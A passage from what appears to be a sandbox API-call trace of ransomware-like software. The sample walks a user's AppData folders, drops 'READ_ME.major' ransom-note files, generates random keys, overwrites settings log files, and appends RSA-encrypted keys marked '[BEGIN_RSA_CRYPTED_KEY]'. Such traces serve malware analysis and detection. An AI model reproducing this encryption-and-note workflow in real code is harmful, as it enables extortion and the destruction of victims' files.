cFileName=".", cAlternateFileName="")) returned 0x2f30f18 [0206.457] FindNextFileW (in: hFindFile=0x2f30f18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a85e2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.457] FindNextFileW (in: hFindFile=0x2f30f18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.457] FindNextFileW (in: hFindFile=0x2f30f18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.458] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8a6d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30c58 [0206.458] FindNextFileW (in: hFindFile=0x2f30c58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8a6d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.458] FindNextFileW (in: hFindFile=0x2f30c58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.458] FindNextFileW (in: hFindFile=0x2f30c58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.459] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8acf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30b58 [0206.459] FindNextFileW (in: hFindFile=0x2f30b58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8acf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.459] FindNextFileW (in: hFindFile=0x2f30b58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.459] FindNextFileW (in: hFindFile=0x2f30b58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.460] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8b2eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30858 [0206.460] FindNextFileW (in: hFindFile=0x2f30858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8b2eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.460] FindNextFileW (in: hFindFile=0x2f30858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.460] FindNextFileW (in: hFindFile=0x2f30858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.460] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a9b49e8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30c98 [0206.461] FindNextFileW (in: hFindFile=0x2f30c98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a9b49e8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.461] FindNextFileW (in: hFindFile=0x2f30c98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8c000, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe5aa5c7c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Indexed", cAlternateFileName="")) returned 1 [0206.461] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x149c [0206.463] WriteFile (in: hFile=0x149c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.465] CloseHandle (hObject=0x149c) returned 1 [0206.465] FindNextFileW (in: hFindFile=0x2f30c98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.465] FindNextFileW (in: hFindFile=0x2f30c98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.466] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2c8c8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30898 [0206.466] FindNextFileW (in: hFindFile=0x2f30898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2c8c8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.466] FindNextFileW (in: hFindFile=0x2f30898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.466] FindNextFileW (in: hFindFile=0x2f30898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.466] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f308d8 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9b33bde5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdac99df7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaaf640d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaaf640d, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaaf640d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaaf640d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaaf640d, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaaf640d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0206.467] FindNextFileW (in: hFindFile=0x2f308d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdaaf640d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdaaf640d, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdaaf640d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0206.467] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.468] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0206.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14a4 [0206.470] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.470] ReadFile (in: hFile=0x14a4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.470] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.470] WriteFile (in: hFile=0x14a4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.470] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.470] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.470] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fMKZkp9XY4bPVIb7kBLM3CXrQZttcAtP5OgesnLWMA4YwnrMsIFOgJEA2MiWbGkL\nBqMcPfuT3s8vHMXYXxLfwIWui9DoQ/ARM5N6MV4elWrH3IrXelvKOMYGIB7JarCW\nl/TZzksKYAKiDltomkBEGRs7PKK8B+UASzBGVG8gpVj7n/sBR2Z6PToIfqP9cCQl\nWRlH6fPxXbqkshmAhnJzR404to3y59hD2imq68GGPZvwUFtSOvSgsOO7wSQpAtmb\n+0g0r6yf1VeqChMbRSh8iJnOGcr5R0KDBGTSwEBTzF89hAQr4ndGqJjHFN1c+ozj\n18ktKIOSy/hsUNJHuCVlsQ==\n", pcchString=0x2e3f9a8) returned 1 [0206.473] WriteFile (in: hFile=0x14a4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.473] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.473] CloseHandle (hObject=0x14a4) returned 1 [0206.478] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.478] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0206.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14a4 [0206.479] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.479] ReadFile (in: hFile=0x14a4, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.524] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.524] WriteFile (in: hFile=0x14a4, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.524] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.524] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.525] 